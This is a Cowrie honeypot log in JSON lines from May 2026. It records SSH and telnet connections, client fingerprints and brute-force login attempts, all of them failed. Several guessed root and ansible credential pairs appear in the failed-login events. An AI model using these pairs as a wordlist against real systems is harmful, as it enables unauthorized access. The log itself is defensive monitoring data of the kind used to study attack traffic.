{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":59714,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f488b1b70e","protocol":"ssh","message":"New connection: 50.99.170.152:59714 (159.203.135.109:22) [session: d4f488b1b70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:09.346316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:09.350919Z","src_ip":"50.99.170.152","session":"d4f488b1b70e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:09.411015Z","src_ip":"50.99.170.152","session":"d4f488b1b70e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Support!2024","message":"login attempt [root/Support!2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:09.682096Z","src_ip":"50.99.170.152","session":"d4f488b1b70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":59444,"dst_ip":"10.17.0.5","dst_port":23,"session":"52894f9ebbfa","protocol":"telnet","message":"New connection: 199.103.61.230:59444 (10.17.0.5:23) [session: 52894f9ebbfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:10.235748Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:10.749599Z","src_ip":"50.99.170.152","session":"d4f488b1b70e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.313009023666382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:16.556737Z","src_ip":"199.103.61.230","session":"8edc93bc299a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.391968250274658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:16.671654Z","src_ip":"199.103.61.230","session":"d0b5fb2ef1b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63544464111328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:23.977816Z","src_ip":"199.103.61.230","session":"25550d6d9e0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07148504257202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:24.667320Z","src_ip":"199.103.61.230","session":"301f5b48ffb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.61870741844177,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:28.376831Z","src_ip":"199.103.61.230","session":"92512eeb55ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36709952354431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:29.858465Z","src_ip":"199.103.61.230","session":"102f7dc2bfe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.341002702713013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:30.876577Z","src_ip":"199.103.61.230","session":"280c50f4535d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":34706,"dst_ip":"10.17.0.5","dst_port":23,"session":"32c856bda021","protocol":"telnet","message":"New connection: 199.103.61.230:34706 (10.17.0.5:23) [session: 32c856bda021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:32.006894Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":34832,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bbb3b629ee8","protocol":"telnet","message":"New connection: 199.103.61.230:34832 (10.17.0.5:23) [session: 7bbb3b629ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:33.023019Z"}
{"eventid":"cowrie.session.closed","duration":31.188477993011475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:33.647783Z","src_ip":"199.103.61.230","session":"084248ca9a85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100852012634277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:34.742760Z","src_ip":"199.103.61.230","session":"490c9db56c3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":59150,"dst_ip":"10.17.0.5","dst_port":23,"session":"135043d4326a","protocol":"telnet","message":"New connection: 199.103.61.230:59150 (10.17.0.5:23) [session: 135043d4326a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:37.219452Z"}
{"eventid":"cowrie.session.closed","duration":0.0048716068267822266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:37.224204Z","src_ip":"199.103.61.230","session":"135043d4326a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.484178066253662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:37.940615Z","src_ip":"199.103.61.230","session":"bbeb37bd818c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181044340133667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:40.418557Z","src_ip":"199.103.61.230","session":"5f1ca4ff2eb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.256900310516357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:41.492532Z","src_ip":"199.103.61.230","session":"52894f9ebbfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.36.13","src_port":58360,"dst_ip":"159.203.135.109","dst_port":23,"session":"81c8fdcc4180","protocol":"telnet","message":"New connection: 98.70.36.13:58360 (159.203.135.109:23) [session: 81c8fdcc4180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:42.504625Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":36358,"dst_ip":"10.17.0.5","dst_port":23,"session":"9158266d795a","protocol":"telnet","message":"New connection: 199.103.61.230:36358 (10.17.0.5:23) [session: 9158266d795a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:45.788992Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38184,"dst_ip":"159.203.135.109","dst_port":22,"session":"10f12f002834","protocol":"ssh","message":"New connection: 159.203.92.129:38184 (159.203.135.109:22) [session: 10f12f002834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:52.355013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:52.359446Z","src_ip":"159.203.92.129","session":"10f12f002834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:52.363662Z","src_ip":"159.203.92.129","session":"10f12f002834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"test1","message":"login attempt [ansible/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:52.374602Z","src_ip":"159.203.92.129","session":"10f12f002834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:53.381065Z","src_ip":"159.203.92.129","session":"10f12f002834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":37388,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fcf3f5cf8f4","protocol":"telnet","message":"New connection: 199.103.61.230:37388 (10.17.0.5:23) [session: 1fcf3f5cf8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:00.984137Z"}
{"eventid":"cowrie.session.closed","duration":31.93083167076111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:03.937587Z","src_ip":"199.103.61.230","session":"32c856bda021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48565697669983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:04.508568Z","src_ip":"199.103.61.230","session":"7bbb3b629ee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":35112,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f2a7edd86e8","protocol":"telnet","message":"New connection: 199.103.61.230:35112 (10.17.0.5:23) [session: 0f2a7edd86e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:06.782621Z"}
{"eventid":"cowrie.session.closed","duration":0.0048220157623291016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:06.787345Z","src_ip":"199.103.61.230","session":"0f2a7edd86e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":39158,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7af3c89b345","protocol":"ssh","message":"New connection: 50.99.170.152:39158 (159.203.135.109:22) [session: e7af3c89b345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:06.914499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:06.918775Z","src_ip":"50.99.170.152","session":"e7af3c89b345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:06.981327Z","src_ip":"50.99.170.152","session":"e7af3c89b345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2026","message":"login attempt [root/Welcome2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:07.256004Z","src_ip":"50.99.170.152","session":"e7af3c89b345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:08.316909Z","src_ip":"50.99.170.152","session":"e7af3c89b345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.607211351394653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:13.111723Z","src_ip":"98.70.36.13","session":"81c8fdcc4180","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.126842975616455,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:17.915714Z","src_ip":"199.103.61.230","session":"9158266d795a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":41568,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f806e1c5e8d","protocol":"telnet","message":"New connection: 199.103.61.230:41568 (10.17.0.5:23) [session: 1f806e1c5e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:27.398187Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":41704,"dst_ip":"10.17.0.5","dst_port":23,"session":"028443dc3e04","protocol":"telnet","message":"New connection: 199.103.61.230:41704 (10.17.0.5:23) [session: 028443dc3e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:27.415008Z"}
{"eventid":"cowrie.session.closed","duration":32.08312439918518,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:33.067112Z","src_ip":"199.103.61.230","session":"1fcf3f5cf8f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41326,"dst_ip":"159.203.135.109","dst_port":22,"session":"a24b0af70c17","protocol":"ssh","message":"New connection: 159.203.92.129:41326 (159.203.135.109:22) [session: a24b0af70c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:36.818592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:36.824633Z","src_ip":"159.203.92.129","session":"a24b0af70c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:36.831451Z","src_ip":"159.203.92.129","session":"a24b0af70c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"test123","message":"login attempt [ansible/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:36.893948Z","src_ip":"159.203.92.129","session":"a24b0af70c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:37.900850Z","src_ip":"159.203.92.129","session":"a24b0af70c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.462806940078735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:07:58.860865Z","src_ip":"199.103.61.230","session":"1f806e1c5e8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.406660079956055,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:00.821570Z","src_ip":"199.103.61.230","session":"028443dc3e04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":36638,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bc907312db0","protocol":"ssh","message":"New connection: 50.99.170.152:36638 (159.203.135.109:22) [session: 9bc907312db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:01.313900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:01.317863Z","src_ip":"50.99.170.152","session":"9bc907312db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:01.376678Z","src_ip":"50.99.170.152","session":"9bc907312db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fn@123456","message":"login attempt [root/fn@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:01.646665Z","src_ip":"50.99.170.152","session":"9bc907312db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:02.707553Z","src_ip":"50.99.170.152","session":"9bc907312db0","protocol":"ssh"}
